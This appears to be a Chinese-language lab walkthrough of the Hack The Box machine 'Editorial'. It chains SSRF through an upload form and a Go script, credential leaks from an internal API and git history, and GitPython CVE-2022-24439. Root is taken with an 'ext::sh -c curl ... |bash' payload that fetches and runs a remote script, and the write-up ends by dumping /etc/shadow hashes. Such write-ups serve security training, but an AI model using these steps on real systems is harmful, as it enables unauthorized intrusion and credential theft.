Editorial
User
Nmap
┌──(kali㉿kali)-[~/…/machine/SeasonV/linux/Editorial]
└─$ nmap -A 10.129.24.67 -T 4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-16 21:54 EDT
Nmap scan report for 10.129.24.67
Host is up (0.57s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.48 seconds
经典两端口
22,80
点击preview 收到了这个请求
└─$ nc -lvnkp 80
listening on [any] 80 ...
connect to [10.10.16.2] from (UNKNOWN) [10.129.24.67] 49816
GET / HTTP/1.1
Host: 10.10.16.2
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
可以知道server是由python写的
这里就是存在一个ssrf
然后远程这个链接访问后需要识别内容是图片不然图片路径就会是 unsplash_photo
如:/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
在这里我尝试file伪协议尝试读文件,发现还是不可以
port-scan
┌──(kali㉿kali)-[~/…/machine/SeasonV/linux/Editorial]
└─$ ffuf -request request -w port -v -c -v -request-proto http -fs 61
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /home/kali/HTB/machine/SeasonV/linux/Editorial/port
:: Header : Accept: */*
:: Header : Origin: http://editorial.htb
:: Header : Referer: http://editorial.htb/upload
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Connection: keep-alive
:: Header : Host: editorial.htb
:: Header : User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
:: Header : Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryV1WXq3yjFotyeO70
:: Header : Accept-Language: en-US,en;q=0.9
:: Data : ------WebKitFormBoundaryV1WXq3yjFotyeO70
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
------WebKitFormBoundaryV1WXq3yjFotyeO70
Content-Disposition: form-data; name="bookfile"; filename="Screenshot_2024-06-06_22_57_29.png"
Content-Type: image/png
------WebKitFormBoundaryV1WXq3yjFotyeO70--
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 61
________________________________________________
[Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 2710ms]
| URL | http://editorial.htb/upload-cover
* FUZZ: 5000
5000 port
对内部端口进行枚举,发现5000端口回显不一样
┌──(kali㉿kali)-[~/…/machine/SeasonV/linux/Editorial]
└─$ cat api |jq '.'
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
这样就会每次都要发两个请求,写了一个简单go 脚本
Request.go
┌──(kali㉿kali)-[~/…/machine/SeasonV/linux/Editorial]
└─$ cat test.go
package main
import (
"bytes"
"fmt"
"strings"
"net/url"
"io"
"io/ioutil"
"mime/multipart"
"net/http"
"flag"
"os"
)
var (
bookurl = flag.String("bookuri","","api URI")
ProxyURL = flag.String("proxy","","http proxy Exm: http://127.0.0.1:8080")
)
func SecondRequest(uri string){
var requestBody bytes.Buffer
req,err := http.NewRequest("GET",fmt.Sprintf("http://editorial.htb/%s",uri),&requestBody)
if err!=nil{
fmt.Println(err)
return
}
var client * http.Client
if *ProxyURL!=""{
proxyURL ,err := url.Parse(*ProxyURL)
if err!=nil{
fmt.Println(err)
return
}
client = &http.Client{
Transport: &http.Transport{
Proxy: http.ProxyURL(proxyURL),
},
}
}else{
client = &http.Client{}
}
resp, err := client.Do(req)
if err!=nil{
fmt.Println(err)
return
}
body , err := ioutil.ReadAll(resp.Body)
if err!=nil{
fmt.Println(err)
return
}
strBody := string(body)
fmt.Println("---------------")
fmt.Println(strBody)
}
func main() {
flag.Parse()
if *bookurl==""{
fmt.Println("bookuri is need")
return
}
// 创建一个 buffer,我们会把请求的 body 写入这个 buffer 中
var requestBody bytes.Buffer
// 创建一个 multipart writer,这个 writer 会把内容写入我们之前创建的 buffer 中
multiPartWriter := multipart.NewWriter(&requestBody)
// 添加第一个 form-data 参数
formFieldWriter, err := multiPartWriter.CreateFormField("bookurl")
if err != nil {
fmt.Println(err)
return
}
formFieldWriter.Write([]byte(fmt.Sprintf("http://127.0.0.1:5000%s",*bookurl)))
// 添加第二个 form-data 参数,这个参数带有文件内容
fileWriter, err := multiPartWriter.CreateFormFile("bookfile", "Screenshot_2024-06-06_22_57_29.png")
if err != nil {
fmt.Println(err)
return
}
// 打开文件
file, err := os.Open("test.png")
if err != nil {
fmt.Println("Error opening file: ", err)
return
}
defer file.Close()
// 把文件内容 copy 到 writer 中
io.Copy(fileWriter, file)
// 结束 multipart writer
multiPartWriter.Close()
// 创建一个 HTTP 请求
req, err := http.NewRequest("POST", "http://editorial.htb/upload-cover", &requestBody)
if err != nil {
fmt.Println(err)
return
}
// 为 HTTP 请求添加必要的 header 字段
req.Header.Add("Host", "editorial.htb")
req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36")
req.Header.Add("Accept", "*/*")
req.Header.Add("Origin", "http://editorial.htb")
req.Header.Add("Referer", "http://editorial.htb/upload")
req.Header.Add("Accept-Encoding", "gzip, deflate, br")
req.Header.Add("Accept-Language", "en-US,en;q=0.9")
req.Header.Add("Connection", "close")
// 设置内容类型,这里是 multipart form-data
req.Header.Set("Content-Type", multiPartWriter.FormDataContentType())
var client * http.Client
if *ProxyURL!=""{
proxyURL,err := url.Parse(*ProxyURL)
if err!=nil{
fmt.Println(err)
return
}
client = &http.Client{
Transport: &http.Transport{
Proxy: http.ProxyURL(proxyURL),
},
}
}else{
client = &http.Client{}
}
resp, err := client.Do(req)
if err != nil {
fmt.Println(err)
return
}
fmt.Println("Response status:", resp.Status)
body ,err := ioutil.ReadAll(resp.Body)
if err!=nil{
fmt.Println(err)
return
}
strBody := string(body)
if strings.Contains(strBody,"unsplash"){
fmt.Println("err uri")
return
}
fmt.Println("Len Body: ",len(strBody))
fmt.Println(strBody)
SecondRequest(strBody)
}
┌──(kali㉿kali)-[~/…/machine/SeasonV/linux/Editorial]
└─$ ./test -bookuri '/api' --proxy http://127.0.0.1:8080
Response status: 200 OK
Len Body: 51
static/uploads/fa55a699-849a-4df1-8a36-7b39e756a8ce
---------------
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}
┌──(kali㉿kali)-[~/…/machine/SeasonV/linux/Editorial]
└─$ ./test -bookuri '/api/latest/metadata/messages/coupons' --proxy http://127.0.0.1:8080
Response status: 200 OK
Len Body: 51
static/uploads/93e1d12a-99cb-43f9-bb74-153bd09a6057
---------------
[{"2anniversaryTWOandFOURread4":{"contact_email_2":"info@tiempoarriba.oc","valid_until":"12/02/2024"}},{"frEsh11bookS230":{"contact_email_2":"info@tiempoarriba.oc","valid_until":"31/11/2023"}}]
┌──(kali㉿kali)-[~/…/machine/SeasonV/linux/Editorial]
└─$ ./test -bookuri '/api/latest/metadata/messages/promos' --proxy http://127.0.0.1:8080
Response status: 200 OK
Len Body: 51
static/uploads/69a0f1fc-b13a-4b45-af9d-5202f79de6f7
---------------
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
┌──(kali㉿kali)-[~/…/machine/SeasonV/linux/Editorial]
└─$ ./test -bookuri '/api/latest/metadata/messages/authors' --proxy http://127.0.0.1:8080
Response status: 200 OK
Len Body: 51
static/uploads/a677a473-cf55-4fe7-b4ec-ffd158dc82d8
---------------
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
┌──(kali㉿kali)-[~/…/machine/SeasonV/linux/Editorial]
└─$ ./test -bookuri '/api/latest/metadata/messages/how_to_use_platform' --proxy http://127.0.0.1:8080
Response status: 200 OK
Len Body: 51
static/uploads/537c54ad-3223-42a8-8ca0-62a2e0fbed91
---------------
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
┌──(kali㉿kali)-[~/…/machine/SeasonV/linux/Editorial]
└─$ ./test -bookuri '/api/latest/metadata/changelog' --proxy http://127.0.0.1:8080
Response status: 200 OK
Len Body: 51
static/uploads/d13bf701-c1b2-44c5-a520-e95de5f0b753
---------------
[{"1":{"api_route":"/api/v1/metadata/","contact_email_1":"soporte@tiempoarriba.oc","contact_email_2":"info@tiempoarriba.oc","editorial":"Editorial El Tiempo Por Arriba"}},{"1.1":{"api_route":"/api/v1.1/metadata/","contact_email_1":"soporte@tiempoarriba.oc","contact_email_2":"info@tiempoarriba.oc","editorial":"Ed Tiempo Arriba"}},{"1.2":{"contact_email_1":"soporte@tiempoarriba.oc","contact_email_2":"info@tiempoarriba.oc","editorial":"Editorial Tiempo Arriba","endpoint":"/api/v1.2/metadata/"}},{"2":{"contact_email":"info@tiempoarriba.moc.oc","editorial":"Editorial Tiempo Arriba","endpoint":"/api/v2/metadata/"}}]
┌──(kali㉿kali)-[~/…/machine/SeasonV/linux/Editorial]
└─$ ./test -bookuri '/api/latest/metadata' --proxy http://127.0.0.1:8080
Response status: 200 OK
Len Body: 51
static/uploads/d3514789-a0f3-42cc-ac6a-a6ade09bf861
---------------
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
/api/latest/metadata/messages/authors这个接口返回了用户凭证信息
User: dev Password: dev080217_devAPI!@
使用该凭证成功登录ssh
┌──(kali㉿kali)-[~/…/machine/SeasonV/linux/Editorial]
└─$ ssh dev@editorial.htb
The authenticity of host 'editorial.htb (10.129.59.45)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
dev@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue Jun 18 03:47:13 AM UTC 2024
System load: 0.08
Usage of /: 60.9% of 6.35GB
Memory usage: 12%
Swap usage: 0%
Processes: 224
Users logged in: 0
IPv4 address for eth0: 10.129.59.45
IPv6 address for eth0: dead:beef::250:56ff:fe94:bc3
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$ ls
apps user.txt
dev@editorial:~$ cat user.txt
Root
dev@editorial:~/apps$ ls -al
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 .
drwxr-x--- 4 dev dev 4096 Jun 5 14:36 ..
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .git
当前目录存在 .git 目录,我们可以看看历史commit 的信息
prod
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:48:43 2023 -0500
feat: create editorial app
* This contains the base of this project.
* Also we add a feature to enable to external authors send us their
books and validate a future post in our editorial.
dev@editorial:~/apps$ git diff 3251 1e84
diff --git a/app_api/app.py b/app_api/app.py
new file mode 100644
index 0000000..61b786f
--- /dev/null
+++ b/app_api/app.py
@@ -0,0 +1,74 @@
+# API (in development).
+# * To retrieve info about editorial
+
+import json
+from flask import Flask, jsonify
+
+# -------------------------------
+# App configuration
+# -------------------------------
+app = Flask(__name__)
+
+# -------------------------------
+# Global Variables
+# -------------------------------
+api_route = "/api/latest/metadata"
+api_editorial_name = "Editorial Tiempo Arriba"
+api_editorial_email = "info@tiempoarriba.htb"
+
+# -------------------------------
+# API routes
+# -------------------------------
+# -- : home
+@app.route('/api', methods=['GET'])
+def index():
+ data_editorial = {
+ 'version': [{
+@app.route('/api', methods=['GET'])
+def index():
+ data_editorial = {
+ 'version': [{
+ data_editorial = {
+ 'version': [{
+ '1': {
+ 'editorial': 'Editorial El Tiempo Por Arriba',
+ 'contact_email_1': 'soporte@tiempoarriba.oc',
+ 'contact_email_2': 'info@tiempoarriba.oc',
+ 'api_route': '/api/v1/metadata/'
+ }},
+ {
+ '1.1': {
+ 'editorial': 'Ed Tiempo Arriba',
+ 'contact_email_1': 'soporte@tiempoarriba.oc',
+ 'contact_email_2': 'info@tiempoarriba.oc',
+ 'api_route': '/api/v1.1/metadata/'
+ }},
+ {
+ '1.2': {
+ 'editorial': api_editorial_name,
+ 'contact_email_1': 'soporte@tiempoarriba.oc',
+ 'contact_email_2': 'info@tiempoarriba.oc',
+ 'api_route': f'/api/v1.2/metadata/'
+ }},
+ {
+ '2': {
+ 'editorial': api_editorial_name,
+ 'contact_email': 'info@tiempoarriba.moc.oc',
+ 'api_route': f'/api/v2/metadata/'
+ }},
+ {
+ '2.3': {
+ 'editorial': api_editorial_name,
+ 'contact_email': api_editorial_email,
+ 'api_route': f'{api_route}/'
+ }
+ }]
+ }
+ return jsonify(data_editorial)
+
+# -- : (development) mail message to new authors
+@app.route(api_route + '/authors/message', methods=['GET'])
+def api_mail_new_authors():
+ return jsonify({
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\
nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.
\n\nBest regards, " + api_editorial_name + " Team."
+ }) # TODO: replace dev credentials when checks pass
+
+# -------------------------------
+# Start program
+# -------------------------------
+if __name__ == '__main__':
+ app.run(host='127.0.0.1', port=5001, debug=True)
dev@editorial:~/apps$ cat /etc/passwd|grep bash
root:x:0:0:root:/root:/bin/bash
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
dev@editorial:~/apps$ su prod
Password:
prod@editorial:/home/dev/apps$ id
uid=1000(prod) gid=1000(prod) groups=1000(prod)
prod@editorial:/home/dev/apps$ ls
prod@editorial:/home/dev/apps$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
通过git diff 获取到了prod用户的凭证
prod: 080217_Producti0n_2023!@
clone_prod_change.py
prod@editorial:~$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
这是一个使用 Python 和 GitPython 库的脚本。以下是一行一行的解释这段代码:
#!/usr/bin/python3 这个是一个称为 shebang(或 hashbang)的特殊行,它告诉系统应使用哪个解释器来执行脚本。在这里,我们指定脚本将由位于 /usr/bin/python3 的 Python 3 解释器执行。
import os 和 import sys 这两行导入了 Python 的标准库模块 os 和 sys。os 模块用于与操作系统交互,sys 模块用于处理 Python 运行时环境的一些操作,如获取命令行参数。
from git import Repo 这一行导入了 GitPython 库的 Repo 类,用于操作 Git 仓库。
os.chdir('/opt/internal_apps/clone_changes') 这行代码使用 os 模块的 chdir 函数将当前工作目录修改为 /opt/internal_apps/clone_changes。
url_to_clone = sys.argv[1] 这行代码取命令行的第一个参数(在 Python 中,索引从 0 开始,sys.argv[0] 是脚本名,因此 sys.argv[1] 是第一个参数),并将其存储在 url_to_clone 中。
r = Repo.init('', bare=True) 这行代码创建了一个新的 Repo 对象(一个代表 Git 仓库的对象),并以 "bare" 模式初始化它。在 Git 中,一个 "bare" 仓库是没有工作目录的仓库,只包含 Git 内部的数据。
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"]) 这行代码从 url_to_clone 中克隆一个 Git 仓库,并将其作为名为 "new_changes" 的新目录。multi_options 参数中传入了一个允许所有协议的配置项。
CVE-2022-24439
Referer:
Remote Code Execution (RCE) in gitpython | CVE-2022-24439 | Snyk
from git import Repo
r = Repo.init('', bare=True)
r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])
这个漏洞之前Season IV FormulaX 也存在这个利用手法
ext::sh -c curl% http://10.10.16.13/1.sh|bash >&2
prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c curl% http://10.10.16.4/1.sh|bash >&2'
In Summary
user:
upload-conver (ssrf) → enum port 5000 → api → cred info
root:
git diff → cve-2022-24439 → root
Shadow
root@editorial:~# cat /etc/shadow |grep \$y
cat /etc/shadow |grep \$y
root:$y$j9T$PNijPFzQRd1/Yx6sr4HqS.$ITtQp.k4TN0RY1ADcvcSb.b9UcxD6Jx0MDNL3odgsV9:19878:0:99999:7:::
prod:$y$j9T$bQEMwg1M5mDlBp9UM9YAM0$y8V8Rl64myknJa31Tzt/x9hQpzavDce2vGK9K8y316.:19394:0:99999:7:::
dev:$y$j9T$KcdXrIRoJN69I1Ez4Zx1B/$Jc/EJctFUl4/PaL2RvwUWccq5zC4ep2KtIhMDtbTdn6:19390:0:99999:7:::